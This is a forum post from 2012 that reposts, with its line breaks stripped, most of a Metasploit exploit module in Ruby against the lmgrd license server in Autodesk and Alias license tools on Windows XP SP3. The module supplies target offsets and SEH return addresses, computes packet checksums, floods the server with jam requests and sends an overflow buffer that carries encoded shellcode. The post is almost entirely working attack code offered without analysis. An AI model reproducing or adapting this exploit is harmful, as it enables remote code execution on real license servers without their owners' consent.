LLegoLLaS Posted May 23, 2012 Report Share Posted May 23, 2012 ,'DefaultOptions' =>{'EXITFUNC' => 'process'},'Payload' =>{'Space' => 4000},'Platform' => 'win','Targets' =>[[ 'Debug', {} ],[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',{'Offset' => 10476,'ShellcodeOffset' => 5504,'Ret' => 0x0047d01f # ppr from lmgrd.exe}],[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',{'Offset' => 7324,'ShellcodeOffset' => 2332,'Ret' => 0x004eda91 # ppr from lmgrd.exe}],[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',{'Offset' => 7320,'ShellcodeOffset' => 2328,'Ret' => 0x004eb2e1 # ppr from lmgrd.exe}],],'DefaultTarget' => 1,'DisclosureDate' => 'Mar 23 2012'))register_options([Opt::RPORT(27000),OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])], self.class)enddef header_checksum(packet)packet_bytes = packet.unpack("C*")checksum = packet_bytes[0]i = 2while i < 0x14checksum = checksum + packet_bytes[i]i = i + 1endreturn (checksum & 0x0FF)enddef data_checksum(packet_data)word_table = ""i = 0while i < 256v4 = 0v3 = ij = 8while j > 0if ((v4 ^ v3) & 1) == 1v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFFelsev4 = (v4 >> 1) & 0x0FFFFendv3 >>= 1j = j - 1endword_table << [v4].pack("S")i = i + 1endk = 0checksum = 0data_bytes = packet_data.unpack("C*")word_table_words = word_table.unpack("S*")while k < packet_data.lengthposition = data_bytes[k] ^ (checksum & 0x0FF)checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFFk = k + 1endreturn checksumenddef create_packet(data)pkt = "\x2f"pkt << "\x00" # header checksumpkt << "\x00\x00" # data checksumpkt << "\x00\x00" # pkt lengthpkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"pkt << datapkt[4,2] = [pkt.length].pack("n")data_sum = data_checksum(pkt[4, pkt.length - 4])pkt[2, 2] = [data_sum].pack("n")hdr_sum = header_checksum(pkt[0, 20])pkt[1] = [hdr_sum].pack("C")return pktenddef jampkt = create_packet("")datastore['Jam'].times doconnectsock.put(pkt)disconnectendenddef exploiti = 1while i <= datastore['Attempts'] and not session_created?print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")do_exploitsleep(datastore['Wait'])i = i + 1endif not session_created?print_error("Exploit didn't work after #{i} attempts")endenddef do_exploitt = framework.threads.spawn("jam", false) { jam }my_payload = payload.encodedheader_length = 20 # See create_packet() to understand this numberpkt_data = ""if target.name =~ /Debug/pkt_data << "a" * (65535 - header_length)elsepkt_data << "a" * target['ShellcodeOffset']pkt_data << my_payloadpkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length)pkt_data << generate_seh_record(target.ret)pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_stringpkt_data << rand_text(65535 - pkt_data.length - header_length)endpkt = create_packet(pkt_data)connectsock.put(pkt)handlerdisconnectendendsursa: bugsearch Quote Link to comment Share on other sites More sharing options...